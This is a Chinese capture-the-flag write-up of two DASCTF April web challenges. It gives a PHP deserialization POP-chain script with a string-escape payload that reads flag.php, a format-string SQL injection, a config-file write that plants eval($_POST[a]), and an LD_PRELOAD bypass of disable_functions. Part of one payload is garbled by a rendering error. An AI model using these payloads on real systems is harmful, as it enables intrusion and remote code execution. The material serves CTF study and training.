DASCTF 四月赛 web部分

Ezunserialize

反序列化POP链、字符逃逸
POP链构造起来不难,字符逃逸参考:https://xz.aliyun.com/t/6588 https://blog.csdn.net/assasin0308/article/details/103711024
DASCTF 四月赛 web部分_第1张图片

打开送源码

POP链构造:
__toString() //把类当作字符串使用时触发,返回值需要为字符串
B类的__destruct()可以打印出 c , c, cc = ‘a’.$this->b,当b = new C()时就会触发User类的__toString()魔术方法
生成脚本


class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}


$aa = new C();
$aa->c='flag.php';
$cc=new B();
$cc->b=$aa;
print(serialize($cc));

DASCTF 四月赛 web部分_第2张图片

得到 O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flag.php”;}}
字符逃逸:
一组\0\0\0能多吞掉3个字符
光标选起来的是需要被吞掉的字符串 ";s:8:“password”;s:56:"A
在这里插入图片描述
在这里插入图片描述

24位,需要8组
这个A是用来防止后面的payload被吞的,因为注入的对象payload也在password字段,并且长度肯定是>=10的,因此s肯定是两位数,因此这里为22+1=23位字符

因为是6->3,因此每次添加一组\0\0\0能多吞掉3个字符,因此需要肯定都是3的倍数

因此我们假如这里构造username为
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
则经过read函数处理后长度将变为24
即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可

最后提交
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flag.php”;}}
DASCTF 四月赛 web部分_第3张图片

查看源代码

DASCTF 四月赛 web部分_第4张图片

babytricks

没做出来,等wp出来了补

日 没赶上复现,跟着wp理一遍思路
在这里插入图片描述

利用格式化字符串逃逸引号,user=%1KaTeX parse error: Expected 'EOF', got '&' at position 1: &̲passwd=^0# (这里用…c&passwd=39构造出一个单引号,%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。
过滤了select regexp 等 ,可以用between盲注配合concat binary 区分大小写

拿到用户名密码去/admin/登录

"; chdir("/"); highlight_file(dirname(__FILE__)."/admin.php"); } ?>

考的是经典写配置漏洞与几种变形
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html
https://www.smi1e.top/%E5%B0%8F%E5%AF%86%E5%9C%88%E7%BB%8F%E5%85%B8%E5%86%99%E9%85%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%87%A0%E7%A7%8D%E5%8F%98%E5%BD%A2%E5%AD%A6%E4%B9%A0/

1:?shell=;eval($_POST[a]);
2:?shell=$0

在 /s 模式下 ,会匹配换行符。但可以用$0 或 \0 (完整的模式或匹配文本)引入第一遍得到的单引号,使得两边的单引号成对闭合,导致第一次传入的 ;phpinfo(); 逃逸。

?shell=;phpinfo();


$API = ';phpinfo();';

?shell=$0 //把 $API = ‘;phpinfo();’ 引入


$API = '$API = ';phpinfo();';';

蚁剑连上之后会发现不能执行命令,应该是disable_functions导致的 且目录有限制
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
https://www.freebuf.com/articles/web/192052.html 用文中给出的payload
这里会用到mail( ) 用来开启新的进程 然后题目给ban了
使用gnupg拓展修改代码,
https://www.anquanke.com/post/id/197745?from=singlemessage

然后
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/admin/shells/xxxxxxx/bypass_disablefunc_x64.so

参考
https://jiang-niao.github.io/2020/04/25/%E5%AE%89%E6%81%92%E6%9C%88%E8%B5%9B%E5%9B%9B%E6%9C%88wp/#web2

你可能感兴趣的:(安恒月赛)